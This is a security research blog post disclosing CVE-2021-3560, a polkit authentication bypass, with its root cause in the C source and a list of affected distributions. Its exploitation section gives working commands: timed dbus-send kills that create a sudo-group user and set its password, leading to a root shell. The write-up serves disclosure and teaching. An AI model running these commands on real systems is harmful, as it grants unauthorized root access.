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githubKevin BackhouseGITHUB:D8A86B15D051270840BFEF47E7434ED2
HistoryJun 10, 2021 - 4:00 p.m.

Privilege escalation with polkit: How to get root on Linux with a seven-year-old bug

Kevin Backhouse

0.012 Low




polkit is a system service installed by default on many Linux distributions. It’s used by systemd, so any Linux distribution that uses systemd also uses polkit. As a member of GitHub Security Lab, my job is to help improve the security of open source software by finding and reporting vulnerabilities. A few weeks ago, I found a privilege escalation vulnerability in polkit. I coordinated the disclosure of the vulnerability with the polkit maintainers and with Red Hat’s security team. It was publicly disclosed, the fix was released on June 3, 2021, and it was assigned CVE-2021-3560.

The vulnerability enables an unprivileged local user to get a root shell on the system. It’s easy to exploit with a few standard command line tools, as you can see in this short video. In this blog post, I’ll explain how the exploit works and show you where the bug was in the source code.

Table of contents

  • History of CVE-2021-3560 and vulnerable distributions
  • About polkit
  • Exploitation steps
  • polkit architecture
  • The vulnerability
  • org.freedesktop.policykit.imply annotations
  • Conclusion

History of CVE-2021-3560 and vulnerable distributions

The bug I found was quite old. It was introduced seven years ago in commit bfa5036 and first shipped with polkit version 0.113. However, many of the most popular Linux distributions didn’t ship the vulnerable version until more recently.

The bug has a slightly different history on Debian and its derivatives (such as Ubuntu), because Debian uses a fork of polkit with a different version numbering scheme. In the Debian fork, the bug was introduced in commit f81d021 and first shipped with version 0.105-26. The most recent stable release of Debian, Debian 10 (“buster”), uses version 0.105-25, which means that it isn’t vulnerable. However, some Debian derivatives, such as Ubuntu, are based on Debian unstable, which is vulnerable.

Here’s a table with a selection of popular distributions and whether they’re vulnerable (note that this isn’t a comprehensive list):

Distribution Vulnerable?
RHEL 8 Yes
Fedora 20 (or earlier) No
Fedora 21 (or later) Yes
Debian 10 (“buster”) No
Debian testing (“bullseye”) Yes
Ubuntu 18.04 No
Ubuntu 20.04 Yes

About polkit

polkit is the system service that’s running under the hood when you see a dialog box like the one below:

Screenshot of polkit dialog box prompting authentication

It essentially plays the role of a judge. If you want to do something that requires higher privileges–for example, creating a new user account–then it’s polkit’s job to decide whether or not you’re allowed to do it. For some requests, polkit will make an instant decision to allow or deny, and for others it will pop up a dialog box so that an administrator can grant authorization by entering their password.

The dialog box might give the impression that polkit is a graphical system, but it’s actually a background process. The dialog box is known as an authentication agent and it’s really just a mechanism for sending your password to polkit. To illustrate that polkit isn’t just for graphical sessions, try running this command in a terminal:

pkexec reboot

pkexec is a similar command to sudo, which enables you to run a command as root. If you run pkexec in a graphical session, it will pop up a dialog box, but if you run it in a text-mode session such as SSH then it starts its own text-mode authentication agent:

$ pkexec reboot
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/usr/sbin/reboot' as the super user
Authenticating as: Kevin Backhouse,,, (kev)

Another command that you can use to trigger polkit from the command line is dbus-send. It’s a general purpose tool for sending D-Bus messages that’s mainly used for testing, but it’s usually installed by default on systems that use D-Bus. It can be used to simulate the D-Bus messages that the graphical interface might send. For example, this is the command to create a new user:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

If you run that command in a graphical session, an authentication dialog box will pop up, but if you run it in a text-mode session such as SSH, then it fails immediately. That’s because, unlike pkexec, dbus-send does not start its own authentication agent.

Exploitation steps

The vulnerability is surprisingly easy to exploit. All it takes is a few commands in the terminal using only standard tools like bash, kill, and dbus-send.

The proof of concept (PoC) exploit I describe in this section depends on two packages being installed: accountsservice and gnome-control-center. On a graphical system such as Ubuntu Desktop, both of those packages are usually installed by default. But if you’re using something like a non-graphical RHEL server, then you might need to install them, like this:

sudo yum install accountsservice gnome-control-center

Of course, the vulnerability doesn’t have anything specifically to do with either accountsservice or gnome-control-center. They’re just polkit clients that happen to be convenient vectors for exploitation. The reason why the PoC depends on gnome-control-center and not just accountsservice is subtle–I’ll explain that later.

To avoid repeatedly triggering the authentication dialog box (which can be annoying), I recommend running the commands from an SSH session:

ssh localhost

The vulnerability is triggered by starting a dbus-send command but killing it while polkit is still in the middle of processing the request. I like to think that it’s theoretically possible to trigger by smashing Ctrl+C at just the right moment, but I’ve never succeeded, so I do it with a small amount of bash scripting instead. First, you need to measure how long it takes to run the dbus-send command normally:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

The output will look something like this:

Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real 0m0.016s
user 0m0.005s
sys 0m0.000s

That took 16 milliseconds for me, so that means that I need to kill the dbus-send command after approximately 8 milliseconds:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

You might need to run that a few times, and you might need to experiment with the number of milliseconds in the delay. When the exploit succeeds, you’ll see that a new user named boris has been created:

$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

Notice that boris is a member of the sudo group, so you’re already well on your way to full privilege escalation. Next, you need to set a password for the new account. The D-Bus interface expects a hashed password, which you can create using openssl:

$ openssl passwd -5 iaminvincible!

Now you just have to do the same trick again, except this time call the SetPassword D-Bus method:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!

Again, you might need to experiment with the length of the delay and run it several times until it succeeds. Also, note that you need to paste in the correct user identifier (UID), which is “1002” in this example, plus the password hash from the openssl command.

Now you can login as boris and become root:

su - boris # password: iaminvincible!
sudo su # password: iaminvincible!

polkit architecture

To help explain the vulnerability, here’s a diagram of the five main processes involved during the dbus-send command:

Diagram showing five processes involved in dbus-send command: "d-bus send" and "authentication agent" above the line, and "accounts-daemon" and "polkit" below the line, with dbus-daemon serving as the go-between

The two processes above the dashed line–dbus-send and the authentication agent–are unprivileged user processes. Those below the line are privileged system processes. In the center is dbus-daemon, which handles all of the communication: the other four processes communicate with each other by sending D-Bus messages.

dbus-daemon plays a very important role in the security of polkit, because it enables the four processes to communicate securely and check each other’s credentials. For example, when the authentication agent sends an authentication cookie to polkit, it does so by sending it to the org.freedesktop.PolicyKit1 D-Bus address. Since that address is only allowed to be registered by a root process, there is no risk of an unprivileged process intercepting messages. dbus-daemon also assigns every connection a “unique bus name:” typically something like ":1.96". It’s a bit like a process identifier (PID), except without being vulnerable to PID recycling attacks. Unique bus names are currently chosen from a 64-bit range, so there’s no risk of a vulnerability caused by a name being reused.

This is the sequence of events:

  1. dbus-send asks accounts-daemon to create a new user.
  2. accounts-daemon receives the D-Bus message from dbus-send. The message includes the unique bus name of the sender. Let’s assume it’s ":1.96". This name is attached to the message by dbus-daemon and cannot be forged.
  3. accounts-daemon asks polkit if connection :1.96 is authorized to create a new user.
  4. polkit asks dbus-daemon for the UID of connection :1.96.
  5. If the UID of connection :1.96 is “0,” then polkit immediately authorizes the request. Otherwise, it sends the authentication agent a list of administrator users who are allowed to authorize the request.
  6. The authentication agent opens a dialog box to get the password from the user.
  7. The authentication agent sends the password to polkit.
  8. polkit sends a “yes” reply back to accounts-daemon.
  9. accounts-daemon creates the new user account.

The vulnerability

Why does killing the dbus-send command cause an authentication bypass? The vulnerability is in step four of the sequence of events listed above. What happens if polkit asks dbus-daemon for the UID of connection :1.96, but connection :1.96 no longer exists? dbus-daemon handles that situation correctly and returns an error. But it turns out that polkit does not handle that error correctly. In fact, polkit mishandles the error in a particularly unfortunate way: rather than rejecting the request, it treats the request as though it came from a process with UID 0. In other words, it immediately authorizes the request because it thinks the request has come from a root process.

Why is the timing of the vulnerability non-deterministic? It turns out that polkit asks dbus-daemon for the UID of the requesting process multiple times, on different codepaths. Most of those codepaths handle the error correctly, but one of them doesn’t. If you kill the dbus-send command early, it’s handled by one of the correct codepaths and the request is rejected. To trigger the vulnerable codepath, you have to disconnect at just the right moment. And because there are multiple processes involved, the timing of that “right moment” varies from one run to the next. That’s why it usually takes a few tries for the exploit to succeed. I’d guess it’s also the reason why the bug wasn’t previously discovered. If you could trigger the vulnerability by killing the dbus-send command immediately, then I expect it would have been discovered a long time ago, because that’s a much more obvious thing to test for.

The function which asks dbus-daemon for the UID of the requesting connection is named polkit_system_bus_name_get_creds_sync:

static gboolean
polkit_system_bus_name_get_creds_sync (
PolkitSystemBusName           *system_bus_name,
    guint32                       *out_uid,
    guint32                       *out_pid,
    GCancellable                  *cancellable,
    GError                       **error)

The behavior of polkit_system_bus_name_get_creds_sync is strange, because when an error occurs, the function sets the error parameter but still returns TRUE. It wasn’t clear to me, when I wrote my bug report, whether that was a bug or a deliberate design choice. (It turns out that it was a bug, because the polkit developers have fixed the vulnerability by returning FALSE on error.) My uncertainty arose from the fact that almost all the callers of polkit_system_bus_name_get_creds_sync don’t just check the Boolean result, but also check that the error value is still NULL before proceeding. The cause of the vulnerability was that the error value wasn’t checked in the following stack trace:

0 in polkit_system_bus_name_get_creds_sync of [polkitsystembusname.c:388](<>)
1 in polkit_system_bus_name_get_user_sync of [polkitsystembusname.c:511](<>)
2 in polkit_backend_session_monitor_get_user_for_subject of [polkitbackendsessionmonitor-systemd.c:303](<>)
3 in check_authorization_sync of [polkitbackendinteractiveauthority.c:1121](<>)
4 in check_authorization_sync of [polkitbackendinteractiveauthority.c:1227](<>)
5 in polkit_backend_interactive_authority_check_authorization of [polkitbackendinteractiveauthority.c:981](<>)
6 in polkit_backend_authority_check_authorization of [polkitbackendauthority.c:227](<>)
7 in server_handle_check_authorization of [polkitbackendauthority.c:790](<>)
7 in server_handle_method_call of [polkitbackendauthority.c:1272](<>)

The bug is in this snippet of code in check_authorization_sync:

/* every subject has a user; this is supplied by the client, so we rely
 * on the caller to validate its acceptability. */
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                       subject, NULL,
if (user_of_subject == NULL)
    goto out;

/* special case: uid 0, root, is _always_ authorized for anything */
if (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0)
    result = polkit_authorization_result_new (TRUE, FALSE, NULL);
    goto out;

Notice that the value of error is not checked.

org.freedesktop.policykit.imply annotations

I mentioned earlier that my PoC depends on gnome-control-center being installed, in addition to accountsservice. Why is that? The PoC doesn’t use gnome-control-center in any visible way, and I didn’t even realize that I was depending on it when I wrote the PoC! In fact, I only found out because the Red Hat security team couldn’t reproduce my PoC on RHEL. When I tried it for myself on a RHEL 8.4 VM, I also found that the PoC didn’t work. That was puzzling, because it was working beautifully on Fedora 32 and CentOS Stream. The crucial difference, it turned out, was that my RHEL VM was a non-graphical server with no GNOME installed. So why does that matter? The answer is policykit.imply annotations.

Some polkit actions are essentially equivalent to each other, so if one has already been authorized then it makes sense to silently authorize the other. The GNOME settings dialog is a good example:

Screenshot of GNOME settings dialog

After you’ve clicked the “Unlock” button and entered your password, you can do things like adding a new user account without having to authenticate a second time. That’s handled by a policykit.imply annotation, which is defined in this config file:


The config file contains the following implication:

In other words, if you’re authorized to perform controlcenter admin actions, then you’re also authorized to perform accountsservice admin actions.

When I attached GDB to polkit on my RHEL VM, I found that I wasn’t seeing the vulnerable stack trace that I listed earlier. Notice that step four of the stack trace is a recursive call from check_authorization_sync to itself. That happens on line 1227, which is where polkit checks the policykit.imply annotations:

PolkitAuthorizationResult *implied_result = NULL;
PolkitImplicitAuthorization implied_implicit_authorization;
GError *implied_error = NULL;
const gchar *imply_action_id;

imply_action_id = polkit_action_description_get_action_id (imply_ad);

/* g_debug ("%s is implied by %s, checking", action_id, imply_action_id); */
implied_result = check_authorization_sync (authority, caller, subject,
                                           details, flags,
                                           &implied;_implicit_authorization, TRUE,
if (implied_result != NULL)
    if (polkit_authorization_result_get_is_authorized (implied_result))
        g_debug (" is authorized (implied by %s)", imply_action_id);
        result = implied_result;
        /* cleanup */
        g_strfreev (tokens);
        goto out;
    g_object_unref (implied_result);
if (implied_error != NULL)
  g_error_free (implied_error);

The authentication bypass depends on the error value getting ignored. It was ignored on line 1121, but it’s still stored in the error parameter, so it also needs to be ignored by the caller. The block of code above has a temporary variable named implied_error, which is ignored when implied_result isn’t null. That’s the crucial step that makes the bypass possible.

To sum up, the authentication bypass only works on polkit actions that are implied by another polkit action. That’s why my PoC only works if gnome-control-center is installed: it adds the policykit.imply annotation that enables me to target accountsservice. That does not mean that RHEL is safe from this vulnerability, though. Another attack vector for the vulnerability is packagekit, which is installed by default on RHEL and has a suitable policykit.imply annotation for the package-install action. packagekit is used to install packages, so it can be exploited to install gnome-control-center, after which the rest of the exploit works as before.


CVE-2021-3560 enables an unprivileged local attacker to gain root privileges. It’s very simple and quick to exploit, so it’s important that you update your Linux installations as soon as possible. Any system that has polkit version 0.113 (or later) installed is vulnerable. That includes popular distributions such as RHEL 8 and Ubuntu 20.04.

And if you like nerding out about security vulnerabilities (and how to fix them) check out some of the other work that the Security Lab team is doing or follow us on Twitter.